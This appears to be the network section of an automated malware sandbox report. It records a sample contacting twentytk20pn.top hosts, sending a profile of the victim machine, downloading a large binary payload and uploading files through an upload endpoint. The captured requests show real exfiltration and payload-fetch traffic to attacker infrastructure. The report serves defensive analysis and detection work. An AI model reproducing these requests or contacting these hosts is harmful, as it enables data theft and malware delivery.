Dec 19, 2024 08:00:40.174161911 CET	1.1.1.1	192.168.2.9	0x14a7	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:44.807235003 CET	1.1.1.1	192.168.2.9	0xebb2	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:44.807235003 CET	1.1.1.1	192.168.2.9	0xebb2	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:49.125035048 CET	1.1.1.1	192.168.2.9	0x76a1	No error (0)	home.twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:00:54.974666119 CET	1.1.1.1	192.168.2.9	0x619c	No error (0)	home.twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:19.939578056 CET	1.1.1.1	192.168.2.9	0x2d80	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:19.967736959 CET	1.1.1.1	192.168.2.9	0x2d80	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:23.163630009 CET	1.1.1.1	192.168.2.9	0x96d3	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:28.758341074 CET	1.1.1.1	192.168.2.9	0x2f07	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:28.759680986 CET	1.1.1.1	192.168.2.9	0x9a2c	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 19, 2024 08:01:31.895935059 CET	1.1.1.1	192.168.2.9	0x52fa	No error (0)	twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:01:34.852143049 CET	1.1.1.1	192.168.2.9	0xe84	No error (0)	home.twentytk20pn.top		194.87.47.113	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.twentytk20pn.top

twentytk20pn.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49723	194.87.47.113	80	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:00:49.247206926 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 561505 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 31 36 34 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734591645", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 584 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 880 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 792 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 19, 2024 08:00:49.366882086 CET	2472	OUT	Data Raw: 74 4f 5c 2f 77 44 5a 76 43 78 71 71 5c 2f 38 41 77 52 6f 5c 2f 59 37 77 43 4a 5c 2f 69 2b 4d 67 39 50 48 4f 6b 39 74 33 39 37 77 69 66 53 76 35 79 58 30 35 66 43 5a 5c 2f 38 41 4e 4f 2b 49 76 5c 2f 68 70 34 5a 39 66 2b 69 75 38 7a 2b 72 66 2b 4b Data Ascii: tO\/wDZvCxqq\/8AwRo\/Y7wCJ\/i+Mg9PHOk9t397wifSv5yX05fCZ\/8ANO+Iv\/hp4Z9f+iu8z+rf+Kc3jd\/0VPhX\/wCHvi7\/AOgc\/lGqOTt+P9K\/cb9p3\/glroOg6B8SdW\/Z2l8Ralqnwx8W22nXXhbxDqMer6t4k8P3fw38A+MJp9OuYLOwhfWdP1HxJqixWMVnF9v05beCEPqFsBqH4hzwT2s8ttcwyQXEEjxT
Dec 19, 2024 08:00:49.366970062 CET	4944	OUT	Data Raw: 6a 6b 37 66 6a 5c 2f 41 45 71 64 2b 76 34 66 31 4e 4d 71 7a 51 72 31 48 49 50 76 76 2b 49 5c 2f 2b 76 56 6d 54 37 6a 66 53 6f 71 44 6f 4b 39 56 35 50 38 41 59 54 64 6a 5c 2f 50 65 72 6b 6e 62 38 66 36 56 57 2b 36 33 66 48 39 44 5c 2f 41 4a 5c 2f Data Ascii: jk7fj\/AEqd+v4f1NMqzQr1HIPvv+I\/+vVmT7jfSoqDoK9V5P8AYTdj\/Perknb8f6VW+63fH9D\/AJ\/Sg6qXT\/D\/AJDOmz+Pp\/X\/AD+Pfuxvuv8AUfyWpt33\/wCD\/P8Anr06npTKDYpn\/ln+H9Kgfp+P9DV3Y3p\/L\/GoZFc7D9\/\/AD\/Pt7fjQXDf5fqimV\/uJ\/5F+nX\/AOtUPl\/3\/wDv3x\/k\/wCce
Dec 19, 2024 08:00:49.366986990 CET	2472	OUT	Data Raw: 35 5c 2f 35 4d 71 5c 2f 61 61 77 42 6a 5c 2f 41 4a 47 72 39 6a 62 32 4a 4f 50 2b 47 74 66 54 6e 36 6e 38 5c 2f 67 66 78 74 2b 33 46 34 58 5c 2f 59 6b 5c 2f 34 4a 6d 66 73 71 2b 4a 51 64 50 31 6a 34 73 65 4c 5c 2f 41 4e 6d 4c 34 4a 36 4a 38 4a 76 Data Ascii: 5\/5Mq\/aawBj\/AJGr9jb2JOP+GtfTn6n8\/gfxt+3F4X\/Yk\/4Jmfsq+JQdP1j4seL\/ANmL4J6J8JvBt1JvGo64vwl8J+f4k1q2imiu\/wDhEvCyzQXurtE8LahdSaboEF1ZXGrx39p7b+yB\/wAFGfhV+0D+yprvx58c61pHgnXPg\/obH4+aPvfy\/DmpWFk9wmt6PYlptQutB8ZJA9z4VgiF3dT6m134Vgm1HVtKnaX\
Dec 19, 2024 08:00:49.367042065 CET	2472	OUT	Data Raw: 6f 70 5c 2f 77 41 46 5a 4e 4a 5c 2f 5a 46 2b 4a 76 67 44 34 53 66 44 62 52 39 47 2b 49 48 69 2b 78 31 33 52 76 45 48 78 72 74 4c 69 63 74 62 2b 48 76 41 73 77 38 77 2b 44 74 4f 75 4c 61 64 46 73 76 48 5c 2f 41 49 68 73 35 55 31 53 43 36 76 56 75 Data Ascii: op\/wAFZNJ\/ZF+JvgD4SfDbR9G+IHi+x13RvEHxrtLictb+HvAsw8w+DtOuLadFsvH\/AIhs5U1SC6vVubbw7psWnzXmmal\/b8P9n\/4rZfwPm3GnFGaZXw1wpgeJs+zLjTj11JY\/FZthaGEy7Jv7JxSqVa2AzfLMLhqTq5lWpe2xak6uJr4XDU5886dOX\/QLW43yrgvg3I814l4sx3DOQ5bwL4d+yWAwuUYqvi8xzqnmeG
Dec 19, 2024 08:00:49.367106915 CET	2472	OUT	Data Raw: 54 5c 2f 50 61 6a 37 4f 38 6a 4e 76 77 5c 2f 6c 5c 2f 79 7a 2b 76 35 55 32 4e 6f 57 34 2b 2b 5c 2f 34 66 36 38 38 66 35 37 66 58 70 51 64 68 47 57 5c 2f 6a 65 48 42 78 2b 39 6b 38 33 72 63 66 6e 6e 38 5c 2f 38 4b 5a 35 62 2b 59 37 34 32 7a 52 5c Data Ascii: T\/Paj7O8jNvw\/l\/yz+v5U2NoW4++\/4f688f57fXpQdhGW\/jeHBx+9k83rcfnn8\/8KZ5b+Y742zR\/wAEkXkfpUzF23\/uf+usf\/LD\/P8AnimSfL8\/3+n7ySX9\/ng4\/wAKAK0keZH+SP8A6Zfvf0\/z0qF9m355MvH+9i\/5b\/UWnNXNvmfOh2E\/9Mvz+lQ+X83\/ACzTzPTJ9P8AP\/1q0p9fl+p1U6nyt+H\/
Dec 19, 2024 08:00:49.367259979 CET	7416	OUT	Data Raw: 30 46 31 65 58 63 44 6f 77 4d 63 30 45 62 6a 42 55 4d 76 51 66 44 57 77 2b 50 66 37 49 5c 2f 77 6e 2b 4e 61 2b 49 5c 2f 68 72 6f 6e 69 54 54 74 4c 31 48 77 5c 2f 50 34 5a 31 43 78 31 4b 47 35 30 66 56 4c 44 55 6e 38 55 57 32 76 38 41 69 62 58 4c Data Ascii: 0F1eXcDowMc0EbjBUMvQfDWw+Pf7I\/wn+Na+I\/hroniTTtL1Hw\/P4Z1Cx1KG50fVLDUn8UW2v8AibXLO0vpb67sdKih8O213Zy6domrvYXFvHe3Z06yW6seH\/Zs8Xab4T+MfhTUtevrfTNFnGradqeoSsix20N7pF7Hbu5kmgj2\/wBoLZBhJIcjIRTL5eP250KH4deKrJ4rTUdL8UW1\/ayRz2NzLDNFdWdzE0c0c+lTBW
Dec 19, 2024 08:00:49.367292881 CET	2472	OUT	Data Raw: 39 33 5c 2f 41 4b 75 50 5c 2f 6c 74 5c 2f 70 58 66 39 50 38 38 30 48 51 51 79 4e 75 5a 45 54 4c 5c 2f 38 66 47 50 35 66 35 37 5c 2f 41 4a 63 73 38 77 5c 2f 63 52 4e 5c 2f 37 72 2b 6e 34 5c 2f 77 43 6e 59 37 59 37 67 66 53 5a 56 2b 62 59 4d 6f 5c Data Ascii: 93\/AKuP\/lt\/pXf9P880HQQyNuZETL\/8fGP5f57\/AJcs8w\/cRN\/7r+n4\/wCnY7Y7gfSZV+bYMo\/+f9F+tEmWWZ\/3efK8rn\/r6\/yelB0FaTmNn2FPM4H9D+FHyfJsh2R\/6R\/z9f0\/z+VP\/wCWjpP8npHn\/W\/5xUPmP\/Elz\/rfN\/1v7j\/P0rb3\/wC7+IDMJ8\/zyf8APKXzOmP8\/wCe9P8Au\/J+78
Dec 19, 2024 08:00:49.486666918 CET	2472	OUT	Data Raw: 39 55 63 4e 6a 36 65 54 56 4d 35 77 39 50 43 34 4c 4d 5c 2f 72 2b 4a 77 32 49 78 4e 50 42 59 6e 69 62 42 34 4c 44 38 55 56 35 31 73 4e 68 63 54 55 58 31 6a 4d 36 6b 4a 77 6f 31 62 79 62 69 30 65 6a 53 54 51 54 66 4e 4d 71 4c 4c 6a 42 4a 4a 59 38 Data Ascii: 9UcNj6eTVM5w9PC4LM\/r+Jw2IxNPBYnibB4LD8UV51sNhcTUX1jM6kJwo1bybi0ejSTQTfNMqLLjBJJY8ZwMnJwPTtzjmoTa27\/6qfHs+OP8AGtfwjoej+LbLwhPN8V\/g74H1b4l\/HPUP2cPhT4S8e6p8UrXxL8TPjBY6L4H1qLwr4dn8FfCDx34N0X+01+IvhTTdO1bx\/wCMfBejNqeo7LzULOxhlv18W8PfFbwN4htdJ
Dec 19, 2024 08:00:49.486706972 CET	2472	OUT	Data Raw: 51 68 43 76 58 6f 79 78 47 49 78 65 4c 72 30 63 4c 68 4d 4a 68 6c 57 78 57 4c 78 4e 61 6c 68 38 50 52 71 31 71 6b 49 53 34 36 76 74 6a 39 6b 72 39 75 58 34 69 66 73 66 61 62 34 34 30 37 77 48 34 52 38 45 2b 4a 6c 38 65 33 32 67 33 75 72 53 65 4d Data Ascii: QhCvXoyxGIxeLr0cLhMJhlWxWLxNalh8PRq1qkIS46vtj9kr9uX4ifsfab4407wH4R8E+Jl8e32g3urSeMYtfn+ynw5BqsFgmnJoet6IY\/MGtXrXbXUl2JdtqIUt\/KlNx81aZ4O+HuvXXwktfDn7V\/7LGut8cfBHxU+Jvw4a1n\/avtBrHw5+CcPxIm+KHjG5Gq\/si6edNsPCj\/CfxzbT6bd7PEWqT6Sh0DRtWtr2zuZvP
Dec 19, 2024 08:00:49.486756086 CET	4944	OUT	Data Raw: 6b 5c 2f 69 56 38 50 5c 2f 41 42 4e 38 4b 76 6a 76 71 5c 2f 37 4f 33 69 6e 55 66 41 76 5c 2f 41 41 6e 4f 6d 2b 42 5c 2f 69 52 38 52 62 4c 57 39 4f 38 54 36 6e 66 65 41 76 45 50 68 62 34 54 2b 41 66 48 50 6a 7a 78 76 63 36 48 72 38 66 68 63 61 76 Data Ascii: k\/iV8P\/ABN8Kvjvq\/7O3inUfAv\/AAnOm+B\/iR8RbLW9O8T6nfeAvEPhb4T+AfHPjzxvc6Hr8fhcavNd6K3w28beC72wvfDVhPYeO\/DupaLqYsbW3k1NeT1T+wdN8At4ytfih8JPE\/iHT\/2f\/g9+1D4o+EHhTUPitdfFHwl8Evjevw+HgzxjqR1\/4N+G\/hnrHlXHxS8C2uuaP4O+JnibW9Ol11J49Pu7Cy1G8s\/w
Dec 19, 2024 08:00:54.748874903 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:00:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 51 6c 61 6f 7a 50 6d 63 43 75 50 41 67 71 34 77 31 37 33 34 35 39 31 36 35 33 Data Ascii: QlaozPmcCuPAgq4w1734591653

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49739	194.87.47.113	80	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:00:55.095298052 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=QlaozPmcCuPAgq4w1734591653 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 19, 2024 08:00:56.961133003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:00:56 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 19, 2024 08:00:56.961163044 CET	224	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y26
Dec 19, 2024 08:00:56.963156939 CET	1236	IN	Data Raw: ad 34 aa 23 bf ad 17 e6 2a 10 97 19 92 72 47 53 4c f0 19 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 Data Ascii: 4#*rGSLZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgI
Dec 19, 2024 08:00:56.963195086 CET	1236	IN	Data Raw: 7e a3 a2 b8 69 73 67 3f 48 2f 0d a8 bf 56 dc 8d af d6 b2 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 Data Ascii: ~isg?H/Vaw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\z
Dec 19, 2024 08:00:56.963207006 CET	448	IN	Data Raw: c9 cc c3 19 7b b0 d2 46 b9 b4 20 24 9a d8 ff 55 df 52 db de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b Data Ascii: {F $UR"S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7
Dec 19, 2024 08:00:56.965462923 CET	1236	IN	Data Raw: 97 2d 22 f8 24 23 2a a6 8b d6 bf c3 c0 8d 83 b0 9b bd 5b c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 Data Ascii: -"$#*[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>
Dec 19, 2024 08:00:56.965506077 CET	224	IN	Data Raw: c7 2e 72 99 ae 39 a7 3f 8e 79 8c 45 2a b4 37 c7 d2 d2 de 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d Data Ascii: .r9?yE*7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&
Dec 19, 2024 08:00:56.966432095 CET	1236	IN	Data Raw: 01 41 0c b7 c7 93 48 a9 8e e1 a2 31 a8 fe ee c8 71 93 5c 06 da b0 a0 a4 d1 ad c3 06 e4 50 e8 56 00 61 a3 08 23 e5 39 65 f4 a7 22 6a 05 a6 90 4e 0e e9 08 9a a9 5a 99 0d a4 dd 5e 97 e9 bf f1 a8 6f ac 53 d9 ef de d2 94 48 46 28 37 e3 ac c6 61 48 ca Data Ascii: AH1q\PVa#9e"jNZ^oSHF(7aH,/nUrSnK0v1H+K+,X-.;h\iYf1~DtO{rWf\\|tng/A%<T\|paFZ#}FA~p
Dec 19, 2024 08:00:56.966506958 CET	224	IN	Data Raw: 44 d1 8a a2 51 89 e6 3e d6 03 11 e0 b1 a3 f6 e6 0b ac 93 c5 f2 c0 78 63 f0 57 f3 a6 5d 3a ad a2 08 dc c2 fc 0a f1 9b 18 13 a4 11 56 0f 8a 16 ca ad 0a 70 b7 0f e9 d9 05 1a ae 67 1f a7 86 6a 71 53 06 e2 07 fa db ce c3 61 bb 4b 52 38 1f c2 7d 1f 71 Data Ascii: DQ>xcW]:VpgjqSaKR8}q5y]]ZL \4E8%00xfMu>!wg:c&}z";Q\|d(B[uPVzMG~$>q??;~+Cp\|-`
Dec 19, 2024 08:00:56.970298052 CET	1236	IN	Data Raw: 79 cf 16 71 bf 4b 76 76 3a 63 98 bd af 65 dd e6 6e ba f3 2d 09 72 60 14 69 4d 51 ac 83 38 61 c5 b6 40 18 f7 82 c5 bb b0 60 4a 61 61 69 4a 9b a4 68 b9 8d 83 ca 28 4e ca 15 75 dd fd ac ed c6 7d 11 1e f4 2e ab 22 90 b0 a6 ab e2 7d 20 dd fb 5e 1f 5e Data Ascii: yqKvv:cen-r`iMQ8a@`JaaiJh(Nu}."} ^^nC\|x&TT^Y^xcbd&g~B#am`%oF*q56Q=e:PaX#^@$'/vk,FMjR}lWLvn&_t)f@:
Dec 19, 2024 08:00:57.080796957 CET	1236	IN	Data Raw: df 09 52 0c 8c 14 76 ac cf 96 82 e3 d0 03 fe 64 88 27 97 6b cf 80 c4 47 15 25 9d c4 88 ab f5 e8 2b f0 5f b0 52 54 32 4a 58 39 c8 af 12 3d 34 ad 70 f8 9f 54 63 d7 e0 f6 e3 5d 3f fd 03 26 c9 f2 04 fc 9c 75 d6 6b 7e a4 3f 64 50 85 72 81 a2 4d d6 9f Data Ascii: Rvd'kG%+_RT2JX9=4pTc]?&uk~?dPrM:0IV#ZF;W={&9,.q~%-bsC$yIFFly>{Ss!%wOa8r^I['cBi>sbx4-"1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49797	194.87.47.113	80	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:01:20.060906887 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 459 Content-Type: multipart/form-data; boundary=------------------------Dc1TOVIqiOr47OG3fJawsG Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 63 31 54 4f 56 49 71 69 4f 72 34 37 4f 47 33 66 4a 61 77 73 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 75 6c 75 6b 65 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9c 6a e5 08 63 6b 5e 14 9a 8b 20 64 82 71 20 4d 26 a0 94 36 86 89 06 d7 31 56 45 d5 a3 d8 18 c9 c3 94 56 1f 5d 1d b2 c1 df 67 fa 5f 28 3d 8a 8e c4 f5 2d 6c 1b 3e 6a 59 1a 11 8b 4e c9 53 22 61 23 e3 10 3f 88 a1 96 a0 09 8a 83 fb 84 de 1f 31 b2 d3 f0 c9 74 30 49 a0 96 8a c2 e7 30 7b 49 b2 b4 17 89 1e 89 09 4d 3b fe 11 d2 3a 86 27 ae 6e fb ae 21 8e 35 d3 b0 86 13 6e dd 1d 0c 74 f0 a9 79 5e 62 ad 1e 36 fc 8a 91 b4 d7 ca c0 06 30 f8 8b ce 87 6c 3a 30 69 ca 61 bf e5 b2 c8 f5 9d b1 4f d9 cb 3f 00 64 81 2c e2 a9 1a 7a 8a 50 36 cc ee [TRUNCATED] Data Ascii: --------------------------Dc1TOVIqiOr47OG3fJawsGContent-Disposition: form-data; name="file"; filename="Sulukek.bin"Content-Type: application/octet-streamjck^ dq M&61VEV]g_(=-l>jYNS"a#?1t0I0{IM;:'n!5nty^b60l:0iaO?d,zP6='k_%u[!B7lNBCb}&(nBHTNx@9/\|--------------------------Dc1TOVIqiOr47OG3fJawsG--
Dec 19, 2024 08:01:21.770675898 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:01:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 26 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49807	194.87.47.113	80	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:01:23.289797068 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 90357 Content-Type: multipart/form-data; boundary=------------------------1HMovXwVt5rtBGFUqTvSw4 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 48 4d 6f 76 58 77 56 74 35 72 74 42 47 46 55 71 54 76 53 77 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 69 64 75 62 69 62 61 74 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 61 32 fa c1 de e1 97 7a 7f 5d 57 83 e9 1d 88 43 d6 f5 14 44 e5 1f ed 77 f2 a6 63 e1 91 70 04 26 f1 f5 d4 fc c4 ad a2 3a 08 25 44 01 3f 42 8c 97 e2 27 0c bd 1b df c8 4f f8 39 85 d3 ed 72 99 2c 4e d9 61 2c fa a1 d9 0c 2f 3c b9 43 da db 1b a5 f1 27 db 2d fb f2 87 e7 0e 75 1e c4 8e f9 50 e8 ca 3e 01 1d 22 92 a1 0e 0e d5 6d e1 9f 1e 78 19 a3 7c de 39 a6 9b 58 cf dc e9 bd 62 33 88 17 8d a5 3a ef 1b 76 36 43 c1 11 d4 6b ae fc 5b ca 44 b0 39 df a8 b5 e6 26 c9 d4 82 65 60 e5 76 c3 32 25 89 5d 28 f1 33 69 7d fd c5 43 a2 79 0e 91 [TRUNCATED] Data Ascii: 